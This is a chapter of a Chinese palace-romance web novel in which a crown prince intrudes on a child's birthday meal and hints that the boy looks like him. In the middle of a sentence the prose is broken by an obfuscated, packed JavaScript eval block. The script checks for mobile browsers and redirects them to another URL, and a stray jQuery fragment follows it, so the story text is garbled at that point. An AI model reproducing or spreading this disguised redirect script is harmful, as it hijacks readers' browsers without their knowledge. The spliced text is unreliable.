第170章 生辰
作品:《揣崽跑路,被我抛弃的太子登基了》 孟娆看着那满盒子的精巧玩意儿,只觉得太阳穴突突直跳。
他这是什么意思?炫耀他的权势富贵?还是故意来搅和她给念儿准备的生辰?
她脸上勉强挤出一点弧度,那笑容浅得风一吹就散,带着显而易见的冷淡。
她微微屈膝,声音平直:“殿下厚赐,念儿年纪小,不懂这些,怕是承受不起如此贵重之物。”
“孤送出去的东西,没有收回的道理。”顾鹤白淡淡道,语气里是不容置疑的专断。
他说着,竟径自走到桌边,极其自然地在她身旁的空位上坐了下来。
“添副碗筷。”
他眼皮都没抬,那口吻,仿佛他才是这里的主人。
不过以他的身份,自然去哪儿都是当主人的。
立刻有眼疾手快的侍从上前,迅速摆上了一套自带的白玉碗筷,精致得与这粗木方桌格格不入。
孟娆看着他这一连串行云流水,显然是早有预谋的动作,一口气堵在胸口,上不来也下不去。
这男人,连碗筷都自备了,这是铁了心要来,早就计划好了。
可众目睽睽之下,她能怎么办?
官大一级压**,更何况,顾鹤白还是太子。
孟娆最后只能硬生生咽下这口恶气,重新坐回自己的位置。
只是她刻意将凳子往旁边挪了挪,离顾鹤白远远的,中间隔开一**硬的距离。
桌上的气氛顿时变得诡异起来,刚才那点温馨轻松荡然无存。
唯有两个不知世事的孩子,还没完全感受到这凝滞的空气。
阿沅已经自来熟地挤到了孟念身边的小凳子上。
舅舅说了,今天是念儿弟弟的生辰。
孟念和阿沅上次就玩得开心,这次见她来了也开怀,两小只头凑到一处,叽里咕噜的说起了小话。
俩孩子玩的开心,孟娆自然不能再赶人走。
她忿忿咬牙。
看在阿沅的面子上,今日就让他待着吧。
顾鹤白看她不再赶人,就知道今日这步棋他是走对了。
他似乎对桌上那几样清淡的家常小菜颇感兴趣,拿起筷子,夹了一筷清炒笋片,放入口中,慢慢咀嚼,脸上没什么表情,看不出是满意还是嫌弃。
孟娆食不知味,几乎没动筷子,只垂着眼,听着身边男人细微的咀嚼声。
顾鹤白却似乎毫无所觉,甚至还好整以暇地点评了一句。
“火候尚可,盐淡了些。”
孟娆捏着筷子的指尖瞬间收紧,指节因为用力而微微泛白,差点控制不住想把手里这双筷子当场掰断。
他还评价上了?谁请他了似的。
她嘴角扯着抹不爽的弧度,“哦,脏了殿下的嘴了,真是不好意思。”
顾鹤白被她说得一梗,默默又吃了口。
他怎么会吃不出这是孟娆的手艺,再说只怕是有阿沅在,他也要被赶出去了。
摸摸鼻头,他转了话头。
“念儿瞧着,倒是比同龄孩子沉稳些,不太爱闹。”
孟娆心里咯噔一下,他又想试探什么?
她垂下眼睑,浓密的睫毛掩盖住眼底一闪而过的情绪,声音尽力维持着平稳。
“大哥大嫂去得早,念儿他自小没爹娘在身边,难免比别的孩子懂事些,也安静些。”
顾鹤白不置可否,只是端起侍从刚斟满的茶杯,慢悠悠地呷了一口。
放下茶杯时,杯底与桌面轻轻磕碰,发出一声轻响,在这过分安静的氛围里,显得格外清晰。
“是吗?”他目光如有实质般,落在孟娆的侧脸上,“孤倒觉得,这孩子安静下来不说话时的神态,侧脸的轮廓颇有几分……”
他故意顿了顿,看着孟娆下意识捏紧帕子的手指,才慢条斯理地补充了后面的话。
“眼熟。”
孟娆原本正端起手边的茶杯,想喝口水压下心头烦躁,猝不及防听到眼熟两个字,像是有一根细针扎进了她的神经。
“咳!咳咳咳……”
她一口水呛在喉咙里,咳得惊天动地,脸瞬间涨得通红,眼泪不受控制地逼了出来。
孟娆慌忙侧过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852293|189324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,用手帕捂住嘴,整个身子都因为剧烈的咳嗽而蜷缩起来,肩膀颤抖得厉害。
“姑娘,您没事吧?”冰巧吓得赶紧上前给她顺气。
几乎是同时,顾鹤白身体比思维反应更快,下意识就伸出了手,想要去抚她的背脊。
“怎么这么不小心?”他声音里带上些许急促,手已经快要碰到她颤动的后背。
孟娆却像是背后长了眼睛,在他指尖即将碰到她的前一刻,她身体往旁边一缩躲开他的触碰。
顾鹤白伸出的手,就这么突兀地僵在了半空中。
他看着她避如蛇蝎的反应,眸色倏地沉了下去,像是积郁的寒潭。
最终,他什么也没说,只是缓缓地将手收了回来,只是脸色明显冷了下来,很是不悦。
孟娆好不容易才止住那阵要命的咳嗽,脸上不正常的红潮尚未褪去,眼角还挂着生理性的泪珠,气息依旧不稳,胸口起伏着。
她扶着桌子边缘,有些踉跄地站起身,声音因为剧烈的咳嗽而沙哑破碎。
“臣妇失仪,殿下恕罪……容臣妇,稍作整理……”
她脚步凌乱地快步走进了内室,砰地一声关上了房门,将外面所有的视线都隔绝开来。
背靠着冰凉厚重的门板,孟娆脱力般滑坐下去,大口大口地喘着气,胸腔里火辣辣地疼。
他刚刚绝对是故意的,什么眼不眼熟的,他就是不肯死心,变着法子的来戳她的心窝子。
刚才那一瞬间,她几乎以为他要直接捅破那层窗户纸。
孟娆闭上眼,用力深呼吸,冰凉的空气吸入肺腑,稍稍平复了狂跳的心脏。
他只是怀疑,只是在试探。
而且他那边都已经有验证过了,只要她咬死不松口,他就不能怎么样。
孟娆刚缓过一口气,心跳渐平,还没来得及将纷乱的思绪理清,身后的房门却吱呀一声,猝不及防地被从外推开。
她背对着门,被门板带着向前踉跄了一步,手扶住梳妆台边缘才站稳,惊愕回头。
顾鹤白?他怎么进来了?!

